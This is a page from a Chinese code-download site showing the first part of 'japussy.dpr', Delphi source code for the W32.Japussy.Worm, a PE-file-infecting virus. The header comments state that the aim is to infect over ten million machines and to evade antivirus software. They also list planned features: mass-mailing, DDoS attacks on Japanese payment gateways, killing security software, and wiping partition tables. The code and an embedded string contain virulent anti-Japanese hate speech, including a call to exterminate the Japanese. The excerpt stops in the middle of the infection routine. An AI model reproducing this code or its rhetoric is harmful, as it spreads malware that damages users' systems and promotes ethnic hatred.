⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 japussy.dpr

📁 熊猫感染的核心代码
💻 DPR
📖 第 1 页 / 共 2 页
字号:
{**********************************************************************}
{                                                                      }
{                  Crossbow Virus OpenSource Project                   }
{                                                                      }
{               Copyright (C) 1999-2003 Crossbow [CHiNA]               }
{                                                                      }
{ Taking our names from the great empire, instinct-driven face of the  }
{ human psyche, Chinese are, by general acknowledgement, the smartest  }
{ race in the world. Today, the sons of Qin Empire will give the just  }
{ punishment to those lousy japs, the mose flagitious race of the      }
{ world, the biggest enemy of all Chinese.                             }
{                                                                      }
{ All wrathful brethren, Unite!                                        }
{                                                                      }
{ This program is free software; you can redistribute it and/or modify }
{ it under the terms of the GNU General Public License as published by }
{ the Free Software Foundation; either version 2, or (at your option)  }
{ any later version.                                                   }
{                                                                      }
{                      Crossbow病毒开放源代码计划                      }
{                                                                      }
{                版权所有 (C) 1999-2003 Crossbow [中国]                }
{                                                                      }
{ 就像我们的名字来自于那个伟大的帝国一样,人类灵魂的本能所能公认的,   }
{ 中华民族,是全世界众所周知最聪明的民族。今天,大秦帝国的子孙们将给予 }
{ 中华民族的世代仇敌,那些卑劣猥琐的倭狗,世界上最无耻、最卑鄙、最残忍 }
{ 的民族以正义的惩罚。                                                 }
{                                                                      }
{ 愤怒的炎黄子孙们,团结起来!                                         }
{                                                                      }
{ 这份程序是自由软件,你可以在基于由自由软件基金会(Free Software       } 
{ Foundation) 所发布之GNU通用公众协议(GNU General Public License)的原  }
{ 则上再分发和/或修改它,或其后续版本。                                }
{                                                                      }
{**********************************************************************}

{**********************************************************************}
{ Name:         W32.Japussy.Worm.A 0.01  Alpha                         }
{ Date:         2003/10/21                                             }
{ Compiler:     Delphi 5 or later                                      }
{ Contributors: Sorted by Alphabet                                     }
{               BaiLaoHu     [bailaohu@yeah.net]                       }
{               Crossbow     [crossbow@borlandsoft.com]                }
{               JunFengRen   [junfeng.ren@mail.tinco.com]              }
{               ThenLong     [thenlong@msn.com]                        }
{               TieXinLiu    [tiexinliu@8860.net]                      }
{ Total 5 persons                                                      }
{                                                                      }
{ 名字:         W32.Japussy.Worm.A 0.01 Alpha                          }
{ 日期:         2003/10/21                                             }
{ 编译器:       Delphi 5或更新                                         }
{ 参与者:       以字母顺序排列                                         }
{               BaiLaoHu     [bailaohu@yeah.net]                       }
{               Crossbow     [crossbow@borlandsoft.com]                }
{               JunFengRen   [junfeng.ren@mail.tinco.com]              }
{               ThenLong     [thenlong@msn.com]                        }
{               TieXinLiu    [tiexinliu@8860.net]                      }
{ 目前总共5人                                                          }
{**********************************************************************}

{**********************************************************************}
{ 待解决的问题:                                                        }
{                                                                      }
{ 1. WinNT下远程线程映射到Explorer进程                                 }
{ 1. WinNT下获得管理员权限                                             }
{ 2. 自己开SMTP服务器发带毒邮件或者用ESMTP发带毒邮件                   }
{ 3. Base64编码,在保持不大幅增加病毒体大小的前提下                    }
{ 4. 固定日期DDoS(集群式拒绝服务)攻击指定倭狗网站支付网关              }
{ 5. 能杀掉常见防火墙和杀毒软件进程                                    }
{ 6. 绝对磁盘扇区写操作,摧毁分区表和文件分配表                        }
{**********************************************************************}

{**********************************************************************}
{ 这份计划借鉴了SOJ老大的代码,并做了大量的修改和完善。Upx压缩过的病毒 }
{ 体只有38K,和其它Win32ASM写的6K左右的病毒来说可以是庞然大物了。由于  }
{ 没有修改入口点,目前Norton AntiVirus 2001无法查出它。                }
{                                                                      }
{ 我认为与其在论坛上对倭狗破口大骂,还不如做点实事。一来可以学习知识, }
{ 提高水平,认识一些可以互相学习的朋友。二来完工后可以让倭狗吃点苦头, }
{ 还是很惬意的。我的目标是感染1000万台以上的机器。                     }
{                                                                      }
{ 目前这个病毒还远远没有达到预定的设想,所以希望大家一起来完善它。如果 } 
{ 可能,以后会用Win32Asm重写它。                                       }
{                                                                      }
{ 这是一个公益计划,本着完全自愿开发的原则。希望大家在不影响工作的情况 }
{ 下利用空余时间加入本计划。加入这个计划的朋友可以获赠我收藏的200余篇  }
{ 病毒的代码和资料,我将不定期在CSDN上公布计划的进度。                 }
{                                                                      }
{**********************************************************************}

{**********************************************************************}
{ 严重警告:                                                            }
{                                                                      }
{ !!!请不要在未读懂源代码的情况下编译运行本程序,否则后果自负!!! }
{                                                                      }
{ 我们交流的是技术,展示的源代码和相关代码的目的只是为了说明技术的原理 }
{ 和使用。如果任何个人或组织利用本文档发布的技术进行破坏,应由其本人负 }
{ 责,与本计划的参与者无关!!!                                       }
{                                                                      }
{**********************************************************************}

program Japussy;

uses
  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const
  HeaderSize = 82432;                  //病毒体的大小
  IconOffset = $12EB8;                 //PE文件主图标的偏移量
  
  //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
  //查找2800000020的十六进制字符串可以找到主图标的偏移量
   
{
  HeaderSize = 38912;                  //Upx压缩过病毒体的大小
  IconOffset = $92BC;                  //Upx压缩过PE文件主图标的偏移量
  
  //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}

  IconSize   = $2E8;                   //PE文件主图标的大小--744字节
  IconTail   = IconOffset + IconSize;  //PE文件主图标的尾部
  ID         = $44444444;              //感染标记
  
  //垃圾码,以备写入
  Catchword = 'If a race need to be killed out, it must be Yamato. ' +
              'If a country need to be destroyed, it must be Japan! ' +
              '*** W32.Japussy.Worm.A ***';

{$R *.RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; 
  stdcall; external 'Kernel32.dll'; //函数声明

var
  TmpFile: string;
  Si:      STARTUPINFO;
  Pi:      PROCESS_INFORMATION;
  IsJap:   Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }

function IsWin9x: Boolean;
var
  Ver: TOSVersionInfo;
begin
  Result := False;
  Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if not GetVersionEx(Ver) then
    Exit;
  if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
    Result := True;
end;

{ 在流之间复制 }

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
  dStartPos: Integer; Count: Integer);
var
  sCurPos, dCurPos: Integer;
begin
  sCurPos := Src.Position;
  dCurPos := Dst.Position;
  Src.Seek(sStartPos, 0);
  Dst.Seek(dStartPos, 0);
  Dst.CopyFrom(Src, Count);
  Src.Seek(sCurPos, 0);
  Dst.Seek(dCurPos, 0);
end;

{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }

procedure ExtractFile(FileName: string);
var
  sStream, dStream: TFileStream;
begin
  try
    sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
    try
      dStream := TFileStream.Create(FileName, fmCreate);
      try
        sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
        dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
      finally
        dStream.Free;
      end;
    finally
      sStream.Free;
    end;
  except
  end;
end;

{ 填充STARTUPINFO结构 }

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
  Si.cb := SizeOf(Si);
  Si.lpReserved := nil;
  Si.lpDesktop := nil;
  Si.lpTitle := nil;
  Si.dwFlags := STARTF_USESHOWWINDOW;
  Si.wShowWindow := State;
  Si.cbReserved2 := 0;
  Si.lpReserved2 := nil;
end;

{ 发带毒邮件 }

procedure SendMail;
begin
  //哪位仁兄愿意完成之?
end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);
var
  HdrStream, SrcStream: TFileStream;
  IcoStream, DstStream: TMemoryStream;
  iID: LongInt;
  aIcon: TIcon;
  Infected, IsPE: Boolean;
  i: Integer;
  Buf: array[0..1] of Char;
begin
  try //出错则文件正在被使用,退出
    if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
      Exit;
    Infected := False;
    IsPE     := False;
    SrcStream := TFileStream.Create(FileName, fmOpenRead);
    try
      for i := 0 to $108 do //检查PE文件头
      begin
        SrcStream.Seek(i, soFromBeginning);
        SrcStream.Read(Buf, 2);
        if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
        begin

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -